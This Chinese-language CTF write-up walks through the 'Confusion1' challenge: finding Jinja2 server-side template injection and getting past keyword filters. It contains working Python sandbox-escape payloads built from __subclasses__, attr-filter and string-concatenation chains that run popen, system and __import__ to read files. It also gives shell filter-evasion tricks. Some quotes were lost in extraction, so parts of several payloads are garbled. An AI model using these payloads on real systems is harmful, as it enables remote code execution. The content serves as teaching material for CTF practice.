1. 项目概述一次典型的SSTI绕过实战复盘最近在整理CTFCapture The Flag的Web类题目笔记翻到了这道来自“攻防世界”平台的“Confusion1”。题目本身不算复杂但它的解题过程非常典型几乎涵盖了SSTI服务器端模板注入漏洞从发现、利用到绕过的完整链条。很多刚接触SSTI的朋友往往卡在“发现漏洞后如何绕过过滤执行命令”这一步。这道题就是一个绝佳的练手案例它没有设置过于变态的WAFWeb应用防火墙而是通过一些基础的过滤规则引导你去思考如何组合利用Python的沙箱逃逸技巧。简单来说这道题的核心就是给你一个存在SSTI漏洞的Web应用但开发者对用户输入进行了一些关键字过滤比如常见的os、system、eval等你需要找到一种方法在不触发过滤的情况下成功执行系统命令读取到服务器上的flag文件。这不仅仅是“知道payload”更是理解Python对象继承链、属性获取方法以及字符串构造技巧的过程。下面我就结合这道题把SSTI的绕过思路掰开揉碎了讲清楚无论你是CTF新手还是想巩固Web安全知识相信都能有所收获。2. SSTI漏洞原理与快速探测在深入绕过技巧之前我们必须先夯实基础明白SSTI到底是什么以及我们是如何发现它的。2.1 SSTI的本质模板引擎的“信任危机”模板引擎如Jinja2、Twig、Smarty是为了将动态数据变量嵌入到静态页面模板中而生的工具。开发者写一个模板文件里面用特殊的语法如{{变量名}}标记出动态内容的位置。当用户请求页面时后端程序会将数据填充到这些标记里生成最终的HTML返回给用户。SSTI漏洞的产生根源在于开发者将用户输入直接拼接到了模板字符串中并交给了模板引擎去渲染。举个例子一个正常的模板渲染可能是这样的template Hello, {{ name }}! rendered template_engine.render(template, nameAlice) # 输出Hello, Alice!而存在漏洞的代码可能是这样的user_input request.args.get(username) # 用户可控输入 template Hello, user_input ! rendered template_engine.render(template)如果用户传入的username是{{7*7}}那么模板引擎会将其识别为模板语法并进行计算最终输出Hello, 49!。这就意味着用户输入被当成了代码而不仅仅是数据来执行。注意这里的关键区别在于模板引擎是否对用户输入进行了“渲染”操作。如果只是将用户输入作为普通字符串输出转义后是安全的。但如果将其作为模板的一部分进行解析危险就产生了。2.2 快速指纹识别判断模板引擎类型不同的模板引擎有不同的语法。在CTF或渗透测试中我们首先需要判断目标使用的是哪种引擎。常用的探测payload如下通用数学运算{{7*7}}- Jinja2/Twig输出49而一些引擎可能原样输出或报错。${7*7}- 某些EL表达式可能输出49。#{7*7}- 某些引擎如Ruby ERB的语法。Jinja2特定语法{{7*7}}- 字符串乘法输出7777777。{{config}}或{{self}}- 尝试访问内置对象或全局变量如果返回了对象信息基本可以确定。Smarty{$smarty.version}可以显示版本。Twig (PHP){{_self.env.display(...)}}是经典测试。在“Confusion1”这道题中通过传入{{7*7}}并返回49我们就能快速锁定目标使用的是Jinja2模板引擎Python环境下最常见。这一步是后续所有攻击的基础因为不同引擎的利用链天差地别。2.3 从计算到执行理解对象继承链在Jinja2中{{}}内不仅可以进行简单的运算还可以访问Python对象的属性和方法。这是SSTI能执行命令的理论基础。Jinja2提供了一些内置的全局对象和函数例如config 当前应用的配置对象。request 当前的请求对象。url_for()、get_flashed_messages()等函数。但我们的目标是执行系统命令这就需要找到一条从这些已知对象通到os模块或subprocess模块的路径。在Python中一切皆对象对象之间存在继承关系。我们可以利用这种关系进行“爬取”。一个经典的起点是{{.__class__}}。在Python中__class__属性可以获取一个对象所属的类。空字符串的类是class str。而类的__mro__属性可以显示方法解析顺序即继承链__base__是直接父类__bases__是所有直接父类的元组。对于最顶层的类object它有一个__subclasses__()方法可以返回当前Python环境中所有继承自它的子类。所以常见的攻击思路是从一个简单的已知对象如、[]、{}、()出发获取其类__class__。追溯到基类object通过__base__或__mro__。调用object.__subclasses__()获取所有可用的类列表。在这个庞大的列表中寻找包含危险方法的类例如包含os._wrap_close类的引用可用于导入os模块。包含subprocess.Popen类的引用可直接执行命令。包含file、open等可用于读写的类在Python 2中常见。3. 题目环境分析与过滤规则研判明确了原理我们回到“Confusion1”这道题。假设我们已经通过{{7*7}}确认了SSTI漏洞的存在并尝试使用经典的payload来执行命令时发现失败了。3.1 初探受阻识别过滤机制我们可能会尝试这样的payload{{.__class__.__base__.__subclasses__()[X].__init__.__globals__[os].system(ls)}}但服务器返回了错误页面或者一个明确的过滤提示如“Hacker!”。这说明题目设置了过滤规则。在CTF中常见的过滤手段包括关键字黑名单过滤os、system、eval、exec、import、class、subprocess、flag、cat、ls等敏感词。字符串长度限制限制输入参数的长度防止过长的payload。特殊字符过滤过滤[、]、.、_、、、(、)等用于构造对象链和函数调用的字符。编码或混淆检测尝试识别Base64、Hex、Unicode等编码形式的敏感词。我们的首要任务就是探测出具体的过滤规则。这通常是一个“猜”和“试”的过程。3.2 针对性测试逐步摸清边界我们可以设计一系列测试payload观察服务器的反应测试基础对象访问{{config}}- 如果返回对象信息说明config没被过滤。{{request}}- 同上。{{}}- 测试空字符串是否被拦截通常不会。测试关键属性和方法{{.__class__}}- 如果被拦截说明过滤了__class__或.或_。可以尝试拆分{{[__class__]}}使用[]访问属性或{{|attr(__class__)}}使用Jinja2的attr过滤器。如果.__class__被过滤可以尝试{{.class}}在某些旧版本或特殊配置下可能有效但极少。测试命令执行相关分别提交包含os、system、popen、subprocess的简单字符串看是否被拦截。测试字符串构造尝试使用拼接、~运算符、或Jinja2的format过滤器来构造被过滤的单词。根据网络上的解题Writeup和常见出题思路“Confusion1”这道题很可能过滤了os、system、eval、import等明显的关键字但可能对__class__、__base__、__subclasses__、__globals__等“双下划线”属性网开一面或者对[]符号访问属性的方式过滤不严。同时它可能也过滤了flag这个关键词防止我们直接读取。实操心得在测试时一定要有耐心并且记录下每次测试的输入和输出。使用Burp Suite的Repeater模块会非常方便。先测试最简单的payload再逐步复杂化这样一旦被拦截你能快速定位到是哪个“零件”出了问题。4. 核心绕过技巧实战详解假设我们经过测试发现题目过滤了os、system、import但允许使用__class__等属性和[]索引。我们的绕过策略就需要围绕如何“无中生有”地获取到执行命令的能力。4.1 利用__subclasses__()寻找“替身”我们的目标是找到object的所有子类然后从中找到一个可以替代os.system的“替身”。通常我们会寻找这些类class os._wrap_close 这是最常用的通过它可以访问os模块的全局变量。class subprocess.Popen 可以直接执行命令。class _frozen_importlib.BuiltinImporter或class _frozen_importlib_external.FileFinder 与模块导入相关可能用于加载模块。首先获取所有子类并查看{{.__class__.__base__.__subclasses__()}}这会输出一个很长的列表。我们需要找到目标类的索引号。由于输出可能被截断或不完整我们可以写一个简短的payload来搜索。例如在本地或确定有回显的情况下可以这样找os._wrap_close{% for c in .__class__.__base__.__subclasses__() %}{% if os._wrap_close in c.__name__ %}{{ loop.index0 }}{% endif %}{% endfor %}这个Jinja2循环会遍历所有子类如果类名包含os._wrap_close就输出它的索引loop.index0。假设我们找到索引是132。4.2 属性访问的“花式”写法由于可能过滤了.我们需要用其他方式访问属性。使用[]和字符串{{[__class__]}}等价于{{.__class__}}。{{[__class__][__base__]}}等价于{{.__class__.__base__}}。 这可以绕过对连续点号的简单过滤。使用attr()过滤器 Jinja2提供了attr过滤器用于获取对象的属性。{{|attr(__class__)}}等价于{{.__class__}}。{{|attr(__class__)|attr(__base__)}}可以链式调用。这种方式非常优雅且经常能绕过基于字符串匹配的过滤。4.3 字符串构造与拼接关键字os和system被过滤了但我们不能直接使用它们。怎么办构造它们使用字符串拼接{{(os)}}可以构造出os。{{(system)}}可以构造出system。在Jinja2中字符串可以用~运算符拼接{{o~s}}。使用数字转字符利用chr()函数和数字运算。例如os的ASCII码o111,s115。{{chr(111)~chr(115)}}也能得到os。但chr本身也可能被过滤。使用反转、切片等操作更隐蔽的方式比如{{so[::-1]}}可以得到os。4.4 整合利用组装最终Payload现在我们将所有技巧组合起来构造一个能绕过过滤的完整payload。思路通过__subclasses__()[132]假设os._wrap_close的索引是132获取到os._wrap_close类然后通过__init__.__globals__获取该类的全局命名空间其中就包含了os模块。最后调用os模块的popen或system方法如果system被过滤就用popen。步骤分解获取os._wrap_close类对象{{|attr(__class__)|attr(__base__)|attr(__subclasses__)()|attr(__getitem__)(132)}}这里用attr过滤器替代了点号用__getitem__(132)替代了[132]。获取该类的__init__方法进而获取__globals__{{...|attr(__init__)|attr(__globals__)}}将第一步的结果代入...。从__globals__字典中获取os模块。由于os字符串被过滤我们拼接它{{...|attr(__getitem__)(o~s)}}获取os模块下的popen方法system可能被过滤{{...|attr(popen)}}调用popen方法执行命令例如读取当前目录文件ls /并用read()读取结果{{...|attr(popen)(ls /)|attr(read)()}}最终Payload可能长这样已换行便于阅读实际使用需拼接{{ (()|attr(__class__)|attr(__base__)|attr(__subclasses__)()|attr(__getitem__)(132)|attr(__init__)|attr(__globals__)|attr(__getitem__)(o~s)|attr(popen))(cat /flag_is_here)|attr(read)() }}这里我用了空元组()作为起点和空字符串是等价的。命令换成了cat /flag_is_here你需要根据题目提示调整路径。4.5 进阶绕过当__globals__和popen也被过滤时如果出题人更狠一点过滤了__globals__和popen我们还有后招。寻找其他危险类除了os._wrap_close我们可以在__subclasses__()列表中寻找其他有用的类。例如class subprocess.Popen。找到它的索引比如是258然后直接调用{{.__class__.__base__.__subclasses__()[258](ls, shellTrue, stdout-1).communicate()[0]}}同样需要用attr和字符串拼接绕过对subprocess和Popen的过滤。利用__builtins__很多类的__init__.__globals__里都有__builtins__它是一个包含了大量内置函数如__import__、eval、exec的模块。我们可以通过它来动态导入模块。{{.__class__.__base__.__subclasses__()[X].__init__.__globals__[__builtins__][__import__](os).system(ls)}}使用|string和|format过滤器进行更复杂的拼接Jinja2的过滤器功能强大可以组合出意想不到的效果但这需要更深入的理解和尝试。5. 实战演练与问题排查理论说再多不如动手试一次。下面我们模拟一次完整的解题过程并记录可能遇到的问题。5.1 逐步构造Payload假设题目页面有一个输入框提交后内容会在页面某处显示。探测SSTI输入{{7*7}}页面显示49。确认Jinja2 SSTI。探测过滤输入{{.__class__}}正常显示class str。说明基础属性访问可用。输入{{config}}可能显示一堆配置信息说明config对象可访问。输入{{os}}页面返回错误或过滤提示。确认os字符串被过滤。输入{{system}}同样被过滤。输入{{.__class__.__base__.__subclasses__()[0]}}能显示第一个子类信息。说明__subclasses__和索引访问可用。寻找os._wrap_close索引由于输出可能很长我们利用config对象如果可用或request对象来辅助。一个更稳妥的方法是在本地搭建类似环境运行print(.__class__.__base__.__subclasses__().index(os._wrap_close))获取索引。在CTF中这个索引通常是固定的比如在Python 3.8/3.9的某些环境中常见索引是132或133。我们可以直接尝试常见索引。构造绕过Payload我们采用attr过滤器和字符串拼接。首先尝试获取os模块{{config|attr(__init__)|attr(__globals__)|attr(__getitem__)(o~s)}}这里用config作为起点因为它通常包含os模块的引用。如果不行再换回__subclasses__链。如果上一步成功看到了module os from ...的输出那么继续拼接执行命令的部分{{config|attr(__init__)|attr(__globals__)|attr(__getitem__)(o~s)|attr(popen)(ls)|attr(read)()}}执行并获取结果提交payload页面上应该会显示ls命令的结果列出了目录下的文件。找到疑似flag的文件名如flag、flag.txt、flag.php等。读取Flag修改命令为cat /path/to/flag再次提交payload即可在页面上看到flag内容。5.2 常见问题与排查表在操作过程中你可能会遇到各种错误。下表列出了一些常见问题及解决思路问题现象可能原因排查与解决思路页面返回空白或500错误Payload语法错误或触发了服务器的严格过滤/WAF。1. 检查括号是否匹配引号是否成对。2. 将payload拆分成最小部分测试例如先测试{{返回“Hacker!”或“非法输入”等提示触发了黑名单关键字过滤。1. 确认哪个关键字被过滤。用极简payload测试如{{o}}、{{s}}、{{sy}}等。2. 尝试更多的字符串构造方法如~拼接、[::-1]反转、使用chr()函数如果可用。3. 考虑使用其他执行命令的函数如os.popen、os.popen2、os.popen3、subprocess.Popen、commands.getoutputPython 2。能获取os模块但执行命令无回显命令执行成功但输出没有被捕获或渲染到页面。1. 确保使用了__subclasses__()列表索引不对不同Python版本、环境加载的模块不同索引会变。1. 编写一个循环payload来搜索特定类名。例如{% for c in .__class__.__base__.__subclasses__() %}{{c.__name__ ~ : ~ loop.index0}}br{% endfor %}注意输出可能很大。2. 搜索关键词如wrap_close、Popen、BuiltinImporter。3. 如果无法直接搜索可以尝试常见的索引范围如120-140、250-270。点号.被过滤无法使用obj.attr的形式。1.首选使用5.3 我的踩坑记录与心得不要迷信固定索引网上很多Writeup会给出os._wrap_close的索引是132。但在不同题目、不同Docker镜像、不同Python版本中这个索引可能变化。掌握搜索方法比记住一个数字更重要。善用config和request很多时候直接从config或request对象的__globals__里就能找到os模块这比从__subclasses__()里爬要快得多。优先尝试{{config.__class__.__init__.__globals__[os]}}。命令执行与回显的技巧os.system(cmd)的返回值是命令的退出状态码而不是输出。想要看到输出必须用os.popen(cmd).read()。如果空格被过滤可以用${IFS}、$IFS、%09Tab等代替。如果cat、flag等关键词被过滤尝试用more、less、head、tail、tac等命令或者用通配符/fla*、/f*甚至用\转义cat-c\at取决于shell解析方式。编码与混淆在最极端的情况下如果所有字母数字都被严格过滤可能需要考虑使用全字符编码如利用Jinja2的|string|list将数字转换成字符或二次编码。但“Confusion1”这类入门题通常不会到这一步。工具辅助手工构造复杂的payload容易出错。可以使用一些SSTI测试工具如tplmap来辅助探测和生成payload但理解其原理对于解决变种题目至关重要。通过这样一步步分析、测试和绕过最终拿到flag的那一刻你对SSTI的理解就不再停留在“套用payload”的层面而是真正拥有了应对各种过滤场景的能力。这道“Confusion1”就像一把钥匙帮你打开了SSTI漏洞利用中“绕过”这扇大门门后的世界还有更多有趣的挑战等着你去探索。